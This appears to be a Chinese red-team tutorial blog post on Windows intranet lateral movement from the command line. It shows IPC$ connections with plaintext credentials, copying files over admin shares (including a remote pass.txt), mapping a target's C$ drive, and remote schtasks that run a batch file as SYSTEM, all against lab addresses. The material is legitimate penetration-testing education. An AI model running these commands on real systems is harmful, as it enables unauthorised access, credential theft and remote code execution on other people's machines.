前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透之命令行渗透 - 渗透红队笔记

内网渗透之命令行渗透 - 渗透红队笔记

作者头像
渗透攻击红队
发布2020-11-25 10:42:47
1.9K0
发布2020-11-25 10:42:47
举报
文章被收录于专栏:漏洞知识库漏洞知识库

内网渗透

在内网渗透的时候,如果想要登录远程桌面,会容易暴露自己,所以尽可能学会使用命令行操作会在渗透实际过程中有很大的帮助。

命令行渗透

IPC$


建立ipc连接以后,就可以访问目标机器的文件(上传、下载),也可以在目标机器 上运行命令。上传和下载文件直接通过 copy 命令就可以,不过路径换成 UNC 路径。何为 UNC 路径?简单来讲以 \\ 开头的路径就是 UNC 路径,比如 \\192.168.1.2\c$\

域用户可以连接域里面的所有机子,但是如果域用户不是这个域机子的成员,那么就没有权限访问该域机子的文件。

建立连接

代码语言:javascript
复制
命令:
net use \\192.168.3.21 /u:god\administrator Admin12345

查看目标开放的共享

代码语言:javascript
复制
net view \\192.168.3.21

只有域控才会有下面两个共享目录:

代码语言:javascript
复制
NETLOGON      Disk          Logon server share
SYSVOL        Disk          Logon server share

删除连接

代码语言:javascript
复制
net use \\192.168.3.21 /del /y

dir 命令

代码语言:javascript
复制
# 查看C盘下的文件
dir \\192.168.3.21\c$

copy 命令

代码语言:javascript
复制
# 把当前机器C盘下的1.txt文件拷贝到目标桌面
copy 1.txt \\192.168.3.21\c$\users\administrator\desktop\
代码语言:javascript
复制
# 吧目标机器上的pass.txt拷贝到本地
coyp \\192.168.3.21\c$\users\administrator\desktop\pass.txt

type 命令

代码语言:javascript
复制
# 查看目标桌面1.txt文件内容
type \\192.168.3.21\c$\users\administrator\desktop\1.txt

把目标的C盘映射到本地

代码语言:javascript
复制
# 把目标C盘映射到本地的x盘,x盘可以随便取名
net use x: \\192.168.3.21\c$

这个时候当前机器磁盘就会多了一个x盘,就是映射目标主机的c盘:

我们可以随意查看文件:


计划任务执行命令

schtasks(计划任务)语法
代码语言:javascript
复制
# 一、执行bat
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域机器IP /RU system
# 二、运行
schtasks /run /tn task1 /s 域机子IP /U 域\域用户 /P 域用户密码
# 三、删除计划任务
schtasks /F /delete /tn task1 /s 域机子IP /U 域\域用户 /P 域用户密码

/RU system  :立即执行,以system权限执行


# 域用户
schtasks /create /tn task1 /U domain\username /P password /tr C:\temp\1.bat /sc /ONSTART /s 192.168.1.1 /RU system
schtasks /run /tn task1 /s 192.168.1.1 /U domain\username /P password
schtasks /F /delete /tn task1 /s 192.168.1.1 /U domain\username /P password

# 本地用户
schtasks /create /tn task1 /U a\username /P password /tr C:\temp\1.bat /sc ONSTART /s 192.168.1.1 /RU system
schtasks /run /tn task1 /s 192.168.1.1 /U a\username /P password
schtasks /F /delete /tn task1 /s 192.168.1.1 /U a\username /P password
schtasks(计划任务)实例

我先在本地创建一个bat文件:执行命令输出到目标临时目录1.txt里

代码语言:javascript
复制
whoami >> c:\windows\temp\1.txt
net user >> c:\windows\temp\1.txt
systeminfo >> c:\windows\temp\1.txt

然后把1.bat拷贝到目标桌面:

代码语言:javascript
复制
copy 1.bat \\192.168.3.21\c$\users\administrator\desktop

然后创建计划任务并执行:

代码语言:javascript
复制
# 创建计划任务名为task1
schtasks /create /tn task1 /U god\administrator /P Admin12345 /tr C:\users\administrator\desktop\1.bat /sc ONSTART /s 192.168.3.21 /RU system
# 执行计划任务task1
schtasks /run /tn task1 /s 192.168.3.21 /U god\administrator /P Admin12345
# 删除计划任务task1
schtasks /F /delete /tn task1 /s 192.168.3.21 /U god\administrator /P Admin12345

这个时候我们就可以通过查看目标机器的 c:\windows\temp\1.txt ,就可以查看到刚刚我们想要执行的命令:

代码语言:javascript
复制
type \\192.168.3.21\c$\windows\temp\1.txt

参考文章:

https://www.jianshu.com/p/226d65f5084a

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • schtasks(计划任务)语法
  • schtasks(计划任务)实例
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档